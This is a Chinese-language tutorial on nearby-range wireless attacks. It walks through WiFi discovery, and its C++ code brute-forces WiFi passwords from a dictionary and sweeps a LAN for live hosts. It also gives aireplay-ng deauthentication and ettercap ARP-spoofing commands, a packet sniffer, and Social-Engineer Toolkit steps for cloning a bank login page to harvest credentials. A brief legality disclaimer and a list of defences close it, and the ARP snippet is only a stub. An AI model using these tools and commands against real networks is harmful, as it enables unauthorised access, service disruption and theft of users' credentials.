近源攻击技术详解：WiFi破解与钓鱼攻击

背景介绍

ARP攻击（Address Resolution Protocol Spoofing）

ARP（地址解析协议）是一种在局域网中用于将IP地址映射到MAC地址的协议。在网络中，设备通过广播ARP请求来获取目标IP地址对应的MAC地址，以便正确地发送数据包。

ARP攻击的原理：
ARP攻击（又称ARP欺骗）是通过伪造ARP包，将恶意设备的MAC地址绑定到目标IP地址上，导致目标设备将数据包错误地发送给攻击者，而不是发送到实际的目标设备。

ARP攻击的过程：

1. 攻击者向网络中发送伪造的ARP响应包，声称自己是某个设备（如网关或其他主机）的MAC地址的所有者。
2. 受害者的设备接收到这个伪造的ARP响应后，会将攻击者的MAC地址与目标设备的IP地址绑定。
3. 受害者的设备会将原本要发送给目标设备的数据包误发送给攻击者。
4. 攻击者可以选择将数据包转发给正确的目标设备（作为中间人攻击），或者直接拦截、篡改、窃取数据。

近源钓鱼（Proximity Phishing）

近源钓鱼是一种通过伪装成合法目标的方式，诱使用户透露敏感信息的攻击。与传统的网络钓鱼攻击（如通过电子邮件进行）不同，近源钓鱼更侧重于物理接近性，通常发生在物理网络环境中。

近源钓鱼的原理：
近源钓鱼攻击通过模拟合法的网络服务或设备，诱使用户在与攻击者设备相近的环境中提交敏感信息。攻击者通常使用Wi-Fi、蓝牙等无线技术，伪造合法的网络服务或设备，欺骗用户连接到攻击者的伪造设备或网络，进而窃取用户的认证信息或其他敏感数据。

近源钓鱼的常见方式：

1. 伪造Wi-Fi热点（Evil Twin Attack）：攻击者设置一个与真实公共Wi-Fi网络同名的伪造Wi-Fi热点，用户连接到这个恶意热点后，攻击者可以监控用户的网络活动，窃取用户提交的敏感信息。
2. 蓝牙钓鱼：攻击者通过伪造蓝牙设备或服务吸引目标设备连接，然后通过篡改数据或直接窃取设备信息进行攻击。
3. USB钓鱼：攻击者通过在公共场所放置恶意USB设备，诱使目标设备用户连接。这些USB设备通常包含恶意软件，一旦插入设备，攻击者便能够获得目标设备的敏感信息。

环境准备

你可能需要以下工具：

• Aircrack-ng
• Npcap
• Ettercap
• Social-Engineer Toolkit (SET)

技术实现步骤

T1：获取附近WiFi信息

#include <windows.h>
#include <wlanapi.h>
#include <objbase.h>
#include <wtypes.h>
#include <iostream>
#include <vector>
#include <string>
#include <sstream>
#include <iomanip>
#pragma comment(lib, "Wlanapi.lib")
#pragma comment(lib, "Ole32.lib")

void PrintWiFiNetworks() {
    HANDLE clientHandle = NULL;
    DWORD version = 2;
    DWORD negotiatedVersion = 0;
    PWLAN_INTERFACE_INFO_LIST interfaceList = NULL;
    PWLAN_AVAILABLE_NETWORK_LIST networkList = NULL;
    
    // 初始化COM库
    CoInitialize(NULL);
    
    // 初始化WLAN客户端
    DWORD result = WlanOpenHandle(version, NULL, &negotiatedVersion, &clientHandle);
    if (result != ERROR_SUCCESS) {
        std::cerr << "无法打开WLAN句柄。错误代码: " << result << std::endl;
        CoUninitialize();
        return;
    }
    
    // 获取WLAN接口列表
    result = WlanEnumInterfaces(clientHandle, NULL, &interfaceList);
    if (result != ERROR_SUCCESS) {
        std::cerr << "无法枚举WLAN接口。错误代码: " << result << std::endl;
        WlanCloseHandle(clientHandle, NULL);
        CoUninitialize();
        return;
    }
    
    // 遍历每个接口
    for (DWORD i = 0; i < interfaceList->dwNumberOfItems; i++) {
        PWLAN_INTERFACE_INFO interfaceInfo = &interfaceList->InterfaceInfo[i];
        
        // 获取可用网络列表
        result = WlanGetAvailableNetworkList(clientHandle, &interfaceInfo->InterfaceGuid, 0, NULL, &networkList);
        if (result != ERROR_SUCCESS) {
            std::cerr << "无法获取可用网络列表。错误代码: " << result << std::endl;
            continue;
        }
        
        // 打印可用网络列表
        for (DWORD j = 0; j < networkList->dwNumberOfItems; j++) {
            PWLAN_AVAILABLE_NETWORK network = &networkList->Network[j];
            
            // 打印SSID
            std::cout << "SSID: ";
            for (DWORD k = 0; k < network->dot11Ssid.uSSIDLength; k++) {
                std::cout << network->dot11Ssid.ucSSID[k];
            }
            std::cout << std::endl;
            
            // 打印安全协议
            std::cout << "安全协议: ";
            switch (network->dot11DefaultAuthAlgorithm) {
                case DOT11_AUTH_ALGO_RSNA_PSK:
                    std::cout << "WPA2-PSK";
                    break;
                case DOT11_AUTH_ALGO_WPA_PSK:
                    std::cout << "WPA-PSK";
                    break;
                case DOT11_AUTH_ALGO_80211_OPEN:
                    std::cout << "开放";
                    break;
                default:
                    std::cout << "未知";
                    break;
            }
            std::cout << std::endl;
            
            // 打印无线电类型
            std::cout << "无线电类型: ";
            if (network->dot11BssType == dot11_BSS_type_infrastructure) {
                std::cout << "基础设施";
            }
            else if (network->dot11BssType == dot11_BSS_type_independent) {
                std::cout << "Ad hoc";
            }
            else {
                std::cout << "未知";
            }
            std::cout << std::endl;
            
            // 打印信号强度
            std::cout << "信号强度: " << network->wlanSignalQuality << "%" << std::endl;
            
            // 打印频段
            std::cout << "频段: ";
            if (network->dot11PhyTypes[0] == dot11_phy_type_fhss ||
                network->dot11PhyTypes[0] == dot11_phy_type_dsss ||
                network->dot11PhyTypes[0] == dot11_phy_type_erp) {
                std::cout << "2.4GHz";
            }
            else if (network->dot11PhyTypes[0] == dot11_phy_type_ofdm) {
                std::cout << "2.4GHz";
            }
            else if (network->dot11PhyTypes[0] == dot11_phy_type_ht) {
                std::cout << "2.4GHz 或 5GHz";
            }
            else if (network->dot11PhyTypes[0] == dot11_phy_type_vht) {
                std::cout << "5GHz";
            }
            else if (network->dot11PhyTypes[0] == dot11_phy_type_he) {
                std::cout << "2.4GHz 或 5GHz";
            }
            else {
                std::cout << "未知";
            }
            std::cout << std::endl;
            std::cout << "---------------------------------" << std::endl;
        }
        
        // 释放可用网络列表
        WlanFreeMemory(networkList);
    }
    
    // 释放接口列表
    WlanFreeMemory(interfaceList);
    
    // 关闭WLAN客户端
    WlanCloseHandle(clientHandle, NULL);
    
    // 反初始化COM库
    CoUninitialize();
}

int main() {
    PrintWiFiNetworks();
    return 0;
}

T2：WiFi密码爆破

// 生成临时XML配置文件
void CreateWiFiConfig(const std::string& ssid, const std::string& password, const std::string& filename) {
    std::ofstream configFile(filename);
    configFile << R"(<?xml version="1.0"?>
<WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
    <name>)" << ssid << R"(</name>
    <SSIDConfig>
        <SSID>
            <name>)" << ssid << R"(</name>
        </SSID>
    </SSIDConfig>
    <connectionType>ESS</connectionType>
    <connectionMode>auto</connectionMode>
    <MSM>
        <security>
            <authEncryption>
                <authentication>WPA2PSK</authentication>
                <encryption>AES</encryption>
                <useOneX>false</useOneX>
            </authEncryption>
            <sharedKey>
                <keyType>passPhrase</keyType>
                <protected>false</protected>
                <keyMaterial>)" << password << R"(</keyMaterial>
            </sharedKey>
        </security>
    </MSM>
</WLANProfile>)";
    configFile.close();
}

// 检查网络连通性
bool CanPingBaidu() {
    return system("ping www.baidu.com -n 1 > nul 2>&1") == 0;
}

// 尝试连接WiFi
bool TryConnectToWiFi(const std::string& ssid, const std::string& password) {
    // 清除旧配置
    std::string deleteCmd = "netsh wlan delete profile name=\"" + ssid + "\"";
    system(deleteCmd.c_str());
    
    // 生成新配置文件
    CreateWiFiConfig(ssid, password, "wifi_profile.xml");
    
    // 添加配置文件
    system("netsh wlan add profile filename=\"wifi_profile.xml\"");
    
    // 尝试连接
    std::string connectCmd = "netsh wlan connect name=\"" + ssid + "\"";
    system(connectCmd.c_str());
    
    // 等待连接稳定
    Sleep(2000);
    
    // 检查网络连通性
    return CanPingBaidu();
}

// 从字典中爆破密码
std::string BruteForceWiFi(const std::string& ssid, const std::string& dictionaryFile) {
    std::ifstream file(dictionaryFile);
    std::string password;
    
    while (std::getline(file, password)) {
        std::cout << "尝试密码: " << password << std::endl;
        if (TryConnectToWiFi(ssid, password)) {
            return password;
        }
    }
    
    return "";
}

int main() {
    std::string ssid = "目标WiFi名称";
    std::string dictionaryFile = "passwords.txt";
    
    std::string password = BruteForceWiFi(ssid, dictionaryFile);
    if (!password.empty()) {
        std::cout << "成功连接! 密码是: " << password << std::endl;
    } else {
        std::cout << "未找到正确密码。" << std::endl;
    }
    
    return 0;
}

T3：获取内网信息（可选）

// NetworkScanner.h
#pragma once
#include <iostream>
#include <vector>
#include <string>
#include <thread>
#include <future>
#include <mutex>
#include <windows.h>
#include <CommCtrl.h>
#pragma comment(lib, "Comctl32.lib")

std::vector<std::string> activeIPs;
std::mutex mtx;

bool IsHostActive(const std::string& ip) {
    std::string command = "ping " + ip + " -n 1 -w 100 > nul";
    return system(command.c_str()) == 0;
}

std::vector<std::string> ScanLocalNetworkMultithreaded(HWND hwndProgress) {
    std::vector<std::string> result;
    std::vector<std::future<void>> futures;
    
    for (int i = 1; i <= 254; ++i) {
        std::string ip = "192.168.1." + std::to_string(i);
        
        futures.push_back(std::async(std::launch::async, [ip, hwndProgress]() {
            if (IsHostActive(ip)) {
                std::lock_guard<std::mutex> lock(mtx);
                activeIPs.push_back(ip);
            }
            
            // 更新进度条
            static std::atomic<int> progress(0);
            int current = ++progress;
            SendMessage(hwndProgress, PBM_SETPOS, (current * 100) / 254, 0);
        }));
    }
    
    // 等待所有线程完成
    for (auto& f : futures) {
        f.wait();
    }
    
    return activeIPs;
}

void ShowHostInfo(HWND hwnd) {
    // 创建进度条窗口
    HWND hwndProgress = CreateWindowEx(0, PROGRESS_CLASS, NULL, 
                                      WS_CHILD | WS_VISIBLE | PBS_SMOOTH,
                                      10, 10, 280, 20, hwnd, NULL, NULL, NULL);
    
    // 扫描网络
    auto hosts = ScanLocalNetworkMultithreaded(hwndProgress);
    
    // 关闭进度条窗口
    DestroyWindow(hwndProgress);
    
    // 显示结果
    std::string message = "发现 " + std::to_string(hosts.size()) + " 台内网主机:\n";
    for (const auto& ip : hosts) {
        message += ip + "\n";
    }
    
    MessageBox(hwnd, message.c_str(), "扫描结果", MB_OK);
}

T4：对原WiFi断网攻击

方法一：ARP攻击

// NetworkAttack.h
#pragma once
#include <windows.h>
#include <iphlpapi.h>
#include <stdio.h>
#include <stdlib.h>
#pragma comment(lib, "iphlpapi.lib")
#pragma comment(lib, "ws2_32.lib")

void DisconnectTarget(const std::string& targetIP, const std::string& gatewayIP) {
    // 获取目标IP的MAC地址
    ULONG macAddr[2];
    ULONG physAddrLen = 6;
    
    DWORD dwRetVal = SendARP(inet_addr(targetIP.c_str()), 
                            inet_addr(gatewayIP.c_str()), 
                            macAddr, &physAddrLen);
    
    if (dwRetVal == NO_ERROR) {
        BYTE* bPhysAddr = (BYTE*)&macAddr;
        printf("目标MAC地址: %02X-%02X-%02X-%02X-%02X-%02X\n", 
              bPhysAddr[0], bPhysAddr[1], bPhysAddr[2],
              bPhysAddr[3], bPhysAddr[4], bPhysAddr[5]);
        
        // 持续发送伪造ARP包
        while (true) {
            // 伪造ARP响应，声称自己是网关
            // 实际应用中需要构造并发送ARP包
            printf("发送ARP欺骗包...\n");
            Sleep(1000);
        }
    } else {
        printf("获取MAC地址失败: %d\n", dwRetVal);
    }
}

方法二：去认证帧攻击（使用Aircrack-ng）

1. 下载和安装Aircrack-ng
2. 安装必要的组件（WinPcap或Npcap）
3. 将无线网卡切换到监控模式（Linux系统下）：

   airmon-ng start wlan0
   

4. 发现目标无线网络：

   airodump-ng wlan0mon
   

5. 对目标网络进行去认证帧攻击：

   aireplay-ng --deauth 0 -a 目标BSSID wlan0mon
   

   或针对特定客户端：

   aireplay-ng --deauth 0 -a 目标BSSID -c 客户端MAC wlan0mon
   

T5：伪造原WiFi，迫使连接，获得信息

1. 开启WiFi热点

方法一：通过"设置"开启

1. 打开"设置"（Win + I）
2. 进入"网络和 Internet"设置
3. 找到"移动热点"选项
4. 开启移动热点
5. 设置热点参数（名称和密码与原WiFi相同）

方法二：通过快捷方式快速开启

1. 打开快捷操作中心（Win + A）
2. 找到"移动热点"图标
3. 点击开启

2. 获得内网信息

A. 使用Npcap捕获网络流量

#include <pcap.h>
#include <stdio.h>

void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data) {
    // 处理捕获的数据包
    printf("捕获到数据包，长度: %d\n", header->len);
}

int main() {
    pcap_t *handle;
    char errbuf[PCAP_ERRBUF_SIZE];
    
    // 打开网络接口
    handle = pcap_open_live("eth0", BUFSIZ, 1, 1000, errbuf);
    if (handle == NULL) {
        fprintf(stderr, "无法打开设备: %s\n", errbuf);
        return 2;
    }
    
    // 开始捕获数据包
    pcap_loop(handle, 0, packet_handler, NULL);
    
    pcap_close(handle);
    return 0;
}

B. 分析HTTP流量提取图片URL

// 在packet_handler中添加HTTP分析逻辑
if (header->len > 54) {  // 最小TCP/IP头长度
    const u_char *payload = pkt_data + 54;
    int payload_len = header->len - 54;
    
    // 检查HTTP GET请求
    if (payload_len > 4 && strncmp((const char*)payload, "GET ", 4) == 0) {
        printf("HTTP请求: %.*s\n", payload_len, payload);
    }
    
    // 检查HTTP响应中的图片URL
    if (payload_len > 15 && strncmp((const char*)payload, "HTTP/1.", 7) == 0) {
        const char *content_type = strstr((const char*)payload, "Content-Type: image/");
        if (content_type != NULL) {
            printf("发现图片传输\n");
        }
    }
}

C. 使用Ettercap进行ARP欺骗

ettercap -T -q -i eth0 -M arp:remote /192.168.1.1// /192.168.1.2//

D. 伪站钓鱼（使用Social-Engineer Toolkit）

1. 启动SET：

   ./setoolkit
   

2. 选择：

   1) Social-Engineering Attacks
   2) Website Attack Vectors
   3) Credential Harvester Attack Method
   4) Site Cloner
   

3. 输入目标URL（如银行登录页面）
4. 设置监听接口和端口（默认80）

注意事项

1. 法律合规性：这些技术仅用于合法的安全研究和渗透测试，未经授权使用可能违法。
2. 管理员权限：许多操作需要管理员权限才能执行。
3. 网络延迟：在爆破密码和网络扫描时，适当增加延迟以确保连接状态稳定。
4. 环境支持：部分功能（如监控模式）在Windows上可能受限，Linux系统更适用。
5. 目标WiFi的SSID：确保SSID输入正确，区分大小写。

防御措施

1. 使用强密码：避免使用简单密码，防止暴力破解。
2. 启用WPA3加密：比WPA2更安全。
3. 禁用WPS：WPS功能容易被利用。
4. 监控ARP表：检测ARP欺骗攻击。
5. 使用VPN：在公共WiFi上加密所有流量。
6. 验证WiFi热点：确认连接的是合法热点。
7. 定期检查网络：使用工具检测异常活动。

总结

本文详细介绍了近源攻击的技术实现，包括WiFi信息收集、密码爆破、内网扫描、断网攻击和伪造热点等技术。这些技术展示了无线网络安全的脆弱性，强调了加强无线网络安全防护的重要性。安全研究人员可以使用这些技术进行合法的渗透测试和安全评估，但必须遵守法律法规和道德规范。